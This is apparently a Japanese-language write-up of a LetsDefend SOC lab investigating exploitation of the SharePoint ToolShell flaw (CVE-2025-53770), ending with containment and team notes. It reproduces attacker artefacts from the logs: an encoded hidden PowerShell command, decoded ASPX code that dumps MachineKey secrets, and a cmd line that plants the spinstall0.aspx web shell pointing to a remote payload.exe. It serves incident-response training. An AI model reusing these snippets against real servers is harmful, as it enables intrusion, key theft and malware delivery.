
LetsDefend ラボにおける CVE-2025-53770 (ToolShell) 悪用のステップバイステップのウォークスルー。RCE、Web シェルの展開、インシデントレスポンス分析を扱います。
TL;DR どうも、このLetsDefendラボでは、ToolShell(CVE-2025-53770)と呼ばれるSharePointのゼロデイ脆弱性を調査しました。要するに、悪意のあるPOSTリクエストが認証をバイパスし、PowerShellを実行してMachineKeySectionキーを窃取し、payload.exeをコンパイルしてWebシェル(spinstall0.aspx)を配置するという実世界の攻撃を再現しました。すべてをログに記録し、挙動を分析して、ホストを封じ込めました。このREADMEでは、攻撃の内容、実施した手順、学んだ教訓についてまとめています。
ラボ概要
使用ツール:
Windows PowerShell
VirusTotal
AbuseIPDB
LetsDefend Log Management
LetsDefend Enpoint Security
LetsDefend Threat Intel


EventID : 320
イベント時間 : Jul, 22, 2025, 01:07 PM
ルール : SOC342 - CVE‑2025‑53770 SharePoint ToolShell Auth Bypass and RCE
レベル : セキュリティアナリスト
ホスト名 : SharePoint01
送信元IPアドレス : 107.191.58.76
宛先IPアドレス : 172.16.20.17
HTTPリクエストメソッド : POST
リクエストされたURL : /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
リファラー : /_layouts/SignOut.aspx
Content-Length : 7699
アラートトリガー理由 : ToolPane.aspxを標的とした不審な未認証POSTリクエスト。ペイロードサイズが大きく、リファラーが偽装されており、CVE-2025-53770の悪用を示唆しています。
デバイスアクション : 許可
概要 2025年7月22日、当社のセキュリティ監視により、SharePoint01というオンプレミスSharePoint Serverインスタンスを標的とした重大なゼロデイ攻撃が検知されました。
CVE詳細:
CISA KEVカタログ: 2025年7月20日にエントリ公開
攻撃ベクター: /ToolPane.aspxエンドポイントへのPOSTリクエスト、偽装されたリファラーヘッダー、大規模な悪意のあるペイロード
送信元: IP 107.191.58.76、Vultr Holdings, LLC、米国
SharePointについて Microsoft SharePointは、エンタープライズコラボレーションと文書管理の基盤です。本質的には、ファイル、ワークフロー、社内アプリケーションのための、安全で整理されたクラウドのようなスペースです。
主な用途:
文書管理: バージョン管理、監査証跡、ファイル管理
コラボレーション: 複数ユーザーによる同一文書の同時編集
社内Webポータル: ニュース、更新情報、人事情報、ポリシー
自動化ワークフロー: 承認、フォーム、通知
統合: Teams、Outlook、Office Suite、Power BIと緊密に連携
セキュリティ上の考慮事項:
認証: ADまたはSSO
暗号化: 保存データと転送データ
Webパーツとレイアウト: 設定ミスがあると悪用される可能性がある
パッチ管理: ゼロデイ攻撃を防ぐために重要
CVE-2025-53770はToolShellとも呼ばれ、実環境で悪用されているSharePointのゼロデイ脆弱性です。オンプレミスのMicrosoft SharePoint Serverにおける重大な逆シリアル化の脆弱性であり、認証なしのリモートコード実行(RCE)を可能にします。 他のSharePointの脆弱性(CVE-2025-49704およびCVE-2025-49706)と連鎖させ、システムを完全に侵害します。 CVSSスコアは9.8で、これは重大(クリティカル)であることを意味します。
攻撃者は、偽装されたリファラーヘッダーを使用して認証をバイパスし、ToolPane.aspxエンドポイント経由でspinstall0.aspxなどの悪意のあるWebシェルをアップロードします。
SharePointの構成から重要なMachineKey値を抽出し、永続的なアクセスのための信頼済みViewStateペイロードを生成します。
その後、ランサムウェア(例:「Warlock」系統)を展開したり、認証情報を外部送信したり、バックドアを設置したりします。
最初の公開開示: 2025年7月19日(Microsoftブログ)
リリースされたパッチ: 2025年7月20日〜21日
CISAのKEVカタログに登録: 2025年7月20日
送信元のIPアドレス(Source IP Address)をVirusTotalで分析しました
送信元IPアドレス : 107.191.58.76

この結果から、このIPが悪意のあるものであることがすぐにわかりました
次に、AbuseIPDBを使ってこのIPの所在地を調べました

得られた結果は次のとおりです:
ISP Vultr Holdings, LLC
利用タイプ - データセンター/Webホスティング/トランジット
ASN - AS20473
ホスト名 - 107.191.58.76.vultrusercontent.com
ドメイン名 - vultr.com
国 - アメリカ合衆国
都市 - カリフォルニア州ロサンゼルス
ハッキング、ブルートフォース、Webアプリ攻撃、ポートスキャン、DNSポイズニングで知られるIPアドレス
ジュニアアナリストとしての解決手順 私の進め方 まず、エンドポイントセキュリティで「SharePoint01」という名前のホストを検索しました。

ホストを特定した後、ターミナル履歴を確認したところ、次のコマンドラインが見つかりました。

このコマンドで何が起こっているのか?
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
→ システムディレクトリからPowerShellを直接起動します。
-nop
→ プロファイルなし — 検出や干渉を避けるため、PowerShellプロファイルスクリプトを無視します。
-w hidden
→ ユーザーに気付かれないよう、非表示ウィンドウで実行します。
-e
これをデコードしてみましょう
"PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg=="
ステップ1: 偵察とペイロード取得
/ToolPane.aspxへのPOSTリクエストを取得しました:
POST /_layouts/15/ToolPane.aspx HTTP/1.1 Host: sharepoint01.lab Content-Type: application/x-www-form-urlencoded Content-Length: 1452 Referer: http://sharepoint01.lab/_layouts/15/settings.aspx User-Agent: Mozilla/5.0 Payload=BASE64_ENCODED_POWERSHELL_PAYLOAD_HERE
手法: 認証をバイパスする /ToolPane.aspx へのPOSTリクエスト
ペイロード: 難読化された大規模なBase64エンコードのPowerShellスクリプト
リファラーヘッダー: 発信元を隠すために偽装
ステップ2: 実行と悪用:
スクリプト/ペイロードをBase64デコーダーでデコードしました
base64でデコードした結果は次のとおりです
"<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page\_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object\[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}

上記のスクリプトが何をするのか説明します
インポートするもの:
-System.Diagnostics
-System.IO
⦁ その後、PowerShell内でC#インラインスクリプトを実行し、以下を行います:
-System.Webアセンブリを読み込む
-System.Web.Configuration.MachineKeySectionにアクセスする
-マシンのweb.configから検証キーと復号キーを取得する
-それらをレスポンスに書き込み、おそらく攻撃者に外部送信する
攻撃者は次にこのコマンドを送信しました
""C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs"
-csc.exe - .NET Framework付属のC#コンパイラ
-コンパイラにこの「payload.exe」をホスト上に保存するよう指示します
このペイロードはマルウェアである可能性があります
攻撃者による次のコマンドライン
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
その動作
"C:\Windows\System32\cmd.exe" /c -
コマンドプロンプトで次のコマンドを実行し、その後終了します。
echo <form runat=\"server\"> ... </form>-
SharePointサーバー上で実行されるASP.NETマークアップの小さな断片を書き出します。
マークアップに含まれるもの:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> -
このCLSIDはShell ActiveXコントロールです(IE/COMコンテキストでシェルコマンドを実行したり、特別なアクションを実行するために使用されます)。
<param name="Command" value="Redirect"> -
このオブジェクトに実行するアクションを指示します。
<param name="Url" value="http://107.191.58.76/payload.exe"> -
リモートサーバー上にホストされている悪意のあるEXEを指し示します — ほぼ間違いなく攻撃者の実際のマルウェアです。
攻撃者による次のコマンドライン
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
これも同じ動作です:
"C:\Windows\System32\cmd.exe" /c -
コマンドプロンプトで次のコマンドを実行し、その後終了します。
echo <form runat=\"server\"> ... </form> -
SharePointサーバー上で実行されるASP.NETマークアップの小さな断片を書き出します。
そしてまた
マークアップに含まれるもの:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
このCLSIDはShell ActiveXコントロールです(IE/COMコンテキストでシェルコマンドを実行したり、特別なアクションを実行するために使用されます)。
<param name="Command" value="Redirect">-
このオブジェクトに実行するアクションを指示します。
<param name="Url" value="http://107.191.58.76/payload.exe"> -
リモートサーバー上にホストされている悪意のあるEXEを指し示します — ほぼ間違いなく攻撃者の実際のマルウェアです。
> C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\16\\TEMPLATE\\LAYOUTS\\spinstall0.aspx -
その悪意のあるHTML/ASP.NETオブジェクト全体を、SharePointのlayoutsフォルダ内のspinstall0.aspxとして保存します。
このフォルダ内のファイルは、SharePointサイト上の適切なURLにアクセスすることで参照できます。つまり、攻撃者はサーバー上に、悪意のあるアクションをトリガーするWebページを設置したことになります。
見つけたコマンドラインは以下のとおりです:


これが危険であることを確認した後、ホスト上のプロセスを調査しました。
怪しいですね。ファイルパスとexeが多数表示されています
好奇心もあって、ログ管理で悪意のあるIPをログ内で検索しました。
POSTリクエストを含む生ログを確認しました。
リファラーは - /_layouts/SignOut.aspx でした
攻撃が成功したかどうかを確認しました。
なんと、成功していました。そのため、SOC2に向けてホストを封じ込める必要がありました。
これが私のアナリストノートです:
私たちは、SharePoint01というオンプレミスのSharePoint Serverで、ToolShell(CVE-2025-53770)と呼ばれるゼロデイ脆弱性を悪用した重大な攻撃を検知しました。攻撃者は既知の悪意のあるIP(107.191.58.76)から、巨大なペイロードを含む未認証のPOSTリクエストをSharePointのエンドポイント(ToolPane.aspx)に送信し、認証をバイパスしてサーバー上でリモートコードを実行しました。
さらに詳しく調査したところ、攻撃者は非表示のPowerShellコマンドを実行し、base64スクリプトをデコードしてSharePointの機密性の高いMachineKey値を窃取しました。これにより、信頼されたペイロードを作成できるようになります。攻撃者はホスト上で悪意のある実行ファイルをコンパイルし、その後、SharePointのlayoutsフォルダにWebシェル(spinstall0.aspx)を仕掛けました。このWebシェルは、攻撃者のサーバーからマルウェアをダウンロードして実行し、永続的なバックドアアクセスを提供します。
侵害を確認した後、影響を受けたホストを封じ込め、数日前に修正プログラムがリリースされたばかりであるため、直ちにパッチを適用することを推奨しました。また、他のWebシェルをスキャンし、ランサムウェアやデータ窃取の兆候を監視しています。さらなる被害を防ぐため、SharePointサーバー周辺のセキュリティ強化も推奨しています。
そして、チームへのノート:
チームへのノート: チームの皆さん、SharePointサーバー(SharePoint01)でToolShellゼロデイ(CVE-2025-53770)の重大な悪用を検知しました。攻撃者は未認証のPOSTリクエストを使用して認証をバイパスし、ToolPane.aspxを標的とした大規模で不審なペイロードからリモートコードを実行しました。
攻撃者は非表示のPowerShellコマンドを実行してSharePointの機密性の高いマシンキーを窃取し、その後、悪意のある実行ファイルをコンパイルしてシステム上に配置しました。また、SharePointのlayoutsフォルダにWebシェル(spinstall0.aspx)を作成しました。これは外部サーバーからマルウェアをダウンロードして実行するもので、攻撃者に永続的な制御を提供する可能性があります。
侵害されたホストを封じ込め、修正プログラムがリリースされたばかりのため、早急なパッチ適用を推奨します。また、同様のWebシェルをスキャンし、ランサムウェアやデータ外部送信の兆候を監視しています。警戒を怠らず、今後はSharePointのセキュリティをさらに強化していきましょう。
これが私の結果です
